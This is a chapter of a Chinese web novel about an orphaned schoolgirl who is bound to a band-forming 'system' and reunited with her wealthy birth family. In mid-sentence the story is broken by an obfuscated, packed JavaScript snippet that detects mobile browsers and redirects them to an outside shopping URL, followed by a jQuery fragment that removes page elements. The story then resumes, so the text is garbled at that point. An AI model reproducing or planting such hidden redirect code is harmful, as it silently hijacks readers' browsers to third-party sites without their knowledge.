九月的北苑还被浸没在热潮里,弥漫着躁气。
林昀枝含着一根2块钱的冰棍,在这样的夏日里踩着单车去到了学校。
作为班上免费的劳动力,她低垂下眉眼,一股疲惫感,将校徽举在门卫前,走上通往教学楼的楼梯。
林昀枝不想回学校,一方面是出于对暑假的留恋,一方面是作为劳动力的无力感。
搬好桌子的时候,旁边的人搭上她的肩膀,学校老旧的风扇没有盖过玩笑。
“劳委,我们走咯!”
陆陆续续有几个同学离开,林昀枝听到后点头,又继续拿着拖把拖地。
她熟练地将教室的风扇和灯关了,用膝盖顶着门。
市实验虽为省重点,但是设施年老陈旧,这个门一直在和林昀枝作对。
林昀枝挑眉,使劲往前一推,门发生剧烈的“咚隆”声响。
只见门向反方向快速靠近林昀枝,又是一声响,林昀枝已经没有意识的倒在了地上。
[喂喂?快醒醒!]
模糊的世界终于有了一个比较清晰的光路,林昀枝睁开眼,眼前不是咯吱停顿的风扇,而是一片白光。
她躺在陌生的地方,身边有一个光球。
[林昀枝,17岁,初中组过乐队但是解散了,经17系统考核,符合宿主标准,申请绑定...]
“啊?”
林昀枝坐起来,眼前的光球飞到了她的手心。
[先天性脑血管畸形会让你在22岁前意外去世。跟本系统绑定,组乐队,我可以让你的病自然治愈。]
林昀枝的表情有点遗憾,但是摇头,“我没什么好活在这个世上的。”
[再加一个,找到你的亲生父母。]
“......”
“好。”
再次睁眼,冰棍的棒子早就不见,燥热无法缓解。
林昀枝慢慢爬起来,忽然看见门已经被锁上,不经有点毛骨悚然。
[我帮你锁的]
[别再被门砸了,万一磕傻了就没办法组乐队了]
[首先,我们定的第一个目标是先找志同道合的人]
林昀枝沉思,找喜欢音乐的人很好找,找喜欢组乐队的人,在市实验堪比大海捞针。
别的系统给宿主的目标都是学习逆袭万人迷,为什么到她这里变成了“组乐队”?
她叹口气,认命锁好最后一扇门向校门走去。
路过小卖部的时候,林昀枝想再去买一根,悻悻然地想到吃太多冰棍拉肚子的模样,她放弃了这个想法。
福利院的门口,停着一辆豪车。林昀枝感觉自己嘎吱嘎吱响的自行车停在旁边,非常格格不入。
[你的亲生父母就在里面]
无数的藤枝缠绕在福利院门的铁栏上,院墙还有一大束从院内爬出的丁香花,隐隐看到绿树的身影。
林昀枝没多想,直接推开了铁栏门,迎面看到一个端庄的夫妇,旁边还有一位举止优雅的女孩。
他们看起来与这格格不入,在林昀枝进来的时候都将目光投向她。
林昀枝好像察觉了什么,慢慢走过去。有一瞬间她感谢自己没有吃冰棍,但不知道这是出于什么理由。
福利院的章院长,带着标准的微笑看向那对夫妇。
“是的,按照规定...诶小林你来了?快过来。”
章院长挥手,林昀枝沉默地站在他们的面前。有一种预感就像现在,她能感知到如同小说般离奇的情节就要发生在自己身上。
“小林,这位是林先生和唐女士,也是你的亲生父母。”章院长将一只手搭在她的肩上,向她介绍着。
“您好。”林昀枝说完,反应了几秒后才鞠躬。她一时半会想不出还有什么更体面的打招呼方式。
章院长用亲和又自豪地语气说道:“她就是林昀枝。小林从小就是福利院最优秀的孩子,还凭着自己的努力考上了北宛市实验中学......”
“我们知道了。这是你的姐姐——林予安。”为首的女士说完看了一眼手中价格不菲的表,“我们已经办好了手续,可以跟我们回家了,”
女士鲜少地停顿,不自然地补上“昀枝。”
林昀枝错愕了几秒,还是点头答应。
男人推着轮椅,坐在轮椅上的女孩低垂着头,都并没有要理林昀枝的意思。
林昀枝没有再说话,她是一个不被征求意见的人。
唐女士则是跟在她的身旁,几人一起上了豪车。
快到她上车的时候,轮椅上的女孩转过头看了她一眼。
那是一双很暗沉的眼睛。
林昀枝上车就观察着,那位轮椅女孩离她很远似乎靠着窗睡觉,只留给她一个背影,两位大人坐在前面,中间有隔板。
林昀枝观察了几分钟,见隔板没有再移动,她才摸出一个破旧的手机,小心翼翼地按下静音,传来“嘟”的一声。
她突然看向一旁没有动作的少女,慢慢打字。
回到豪门家后,她才算简单了解了一下情况。
首先,这的确是货真价实的小说剧本,还是最近最流行的真假千金剧本。她是真千金,轮椅女孩是假千金。
非常经典的套路,她小时候被报错,养育她的人不久就因为突然的疾病去世,她就被送去福利院。
而轮椅女孩成为了盛天集团的大小姐。她是家里费劲心血教养的继承人,前几年被仇家陷害双腿残废。
林昀枝的生父生母找到她是因为她的初中在校外刊登了她的成绩和照片来作为宣传,才开始联系福利院的。
当然,这些都是系统告诉她的。17是个非常八卦的系统,虽然林予安擅长很多乐器,17认为她与乐队毫不相干。
那些小说里面的东西一旦放到现实,就离她非常的遥远了。
林昀枝同时很拘束地坐在沙发上,她也有点好奇那个传说中的“假千金”。
望着天花板,林昀枝脑袋放空了一会。其实她和林予安,确实差别很大。她不可能用这短短的时间,去抵达别人十几年努力所成就的东西。
吊灯晃的她眼睛痛。
生父生母都出去工作,家里面她唯一算认识的人,就是林予安了。
二楼不断有人佣人来往,对于她来说是充斥着陌生感。但是,逃离的想法占据了上风。
林昀枝起身走到通往二楼的阶梯,迎面走下的一位佣人有些惊讶。
“我有事要找我姐姐。”林昀枝轻声道。
佣人先是让她在原地稍等,片刻后回来点头,领着她到了二楼的房间。人敲门,让林昀枝进到房间里。
房间内的人依旧坐在轮椅上。听到林昀枝推门的响动,她操控着轮椅转向,与林昀枝对视,等待她的来意。
“我想,我应该是可以叫你姐姐的。”林昀枝扬起笑容。
“我希望可以回一趟福利院,有些重要的东西还遗放在那,来的太仓促,我有些不适应。”
林昀枝补上了一句谢谢。
“......”
林予安叫了一个阿姨,“麻烦带她下去吧,让刘叔送她回福利院,路上给她换一个新手机。”
林予安微微皱眉,眼里的烦躁体现在不耐的语气里。
排外大概是一个环境固有状态。林昀枝的鼻子有点酸,她尽量保持自己的平静。
这里是别人的家。
[我总有一种愧疚感]17的电子音带上了情绪。
“为什么?小神灯。”林昀枝站在豪宅门口,脑袋放空地连蚊子咬她手臂都感觉不到。
[因为我感受到了你伤心的情绪,它影响了我的核心处理器]
[在系统考核中,每个被实现愿望的人都怀有喜悦的情绪]
[所以我学习了一套让宿主不要骄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774142|209987||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
傲自满的组合技,却没有任何能安慰你的语言模块]
“哈哈哈。”女孩的笑声在夜里格外清晰。
林昀枝抹了一下眼眶的眼泪,说了一句17并不理解的话,“难怪你给我的任务是组乐队。”
顺利的出了豪门,短暂地放松下身体。但一想到回去是为了准备开学考,林昀枝又像瘪了的气球。
福利院能还有什么贵重的东西,无非就是一些书,挂闲置20全新微瑕都出不掉。
林昀枝放下手机,祈祷着分班考一定不要出难题偏题。
豪门事暂时被她放在了身后,出去前,她特意说自己要收拾到很晚,就在福利院睡一晚了。
虽然她知道这肯定会让她带上不礼貌和不守规矩的标签,但细细想来父母常年不回家,兄弟都在外上学,整个家就只有林予安一个人。
用脚趾头都能猜的到家庭关系怎么样。这还不跑?
林昀枝是真的打心底畏惧这种丰富多彩的家庭伦理剧本,让本来就因为开学考而焦虑的人雪上加霜。
金碧辉煌的屋子,冷漠的家庭关系,温暖的金钱。
“那你什么时候回去?你的父母临走前以集团的名义向福利院捐了一笔钱。”
章院长将一杯热牛奶放在林昀枝的桌面上。
“偶尔回几次刷一下存在感就算了。”
林昀枝端起牛奶就一口喝完。
章院长敲林昀枝脑袋一下,欲言又止,最后直说了“早点睡觉吧”。
“噢。”
她看着杯底隐约透着自己影子,一瞬间突然想到了坐在轮椅上的那个人。
林昀枝记得她的眼神,那种带有淡淡羡慕与阴郁的眼神。那双蓝色的眼睛,也像大海一样深沉。
“反正接我回去也不会让我继承家业,我就是一个吉祥物,也没什么好看管的。”
林昀枝吸了吸鼻子,拿起笔看向练习本。
她的书已经全部堆在了一边,摆成了很多个高低不平的小土堆。
按动笔的声音过于微小。
在这样燥热的夏季,打破平日喧闹的蝉鸣的,只能是一场大雨了。
林昀枝没有写多久题,她需要一点点时间消化今天所发生的,对她的人生意义重大的事。
她躺在床上,突然又猛地坐起来。
放在桌子旁的黑色袋子上,落灰的吉他被重新拿出。
“那些小朋友呢?”林昀枝问章院长。
“在小花园,要去给他们弹琴的话,我去开小花园的灯。”
“待会说不定还有萤火虫。”院长将灯打开。
林昀枝无奈地笑,“您忘记了,我们已经很久不看到过萤火虫了,飞蚁倒是可以期待一下。”
那些孩子们围在林昀枝的身边,看她怎样弹出音乐,有几个在很远的花丛中,希望找到萤火虫的踪迹。
“小林姐姐看到过萤火虫吗?”
“看到过。”林昀枝边弹着吉他,边和他们搭话。
“可我没找到。”
“天上不就有吗?”林昀枝指着星星,孩子们都抬头,又传来鄙夷的声音。
“小林姐姐我们长大了,是不会再被你骗的。”
“星星怎么可能跟萤火虫一样啊,萤火虫会飞!”
“星星也会飞啊。”林昀枝指着星星,“在距离我们遥远的宇宙,它每时每刻都在飞。”
“它们都不会动!”小朋友聊到这种,都充满了对远方的好奇。
“小林姐姐,我想见萤火虫,也想见星星。”
林昀枝倒是没有挫败感,她摸摸其中女孩的头,“如果你想见到,你总有一天会发现它的。”
安排好孩子们睡觉,林昀枝又回到了矮小的书桌上。她已经长大,难免总是磕着碰着。
但熟悉的动作从未停止,她捡了几本教辅,摆好放在了书桌上,打个哈欠,就继续写题目了。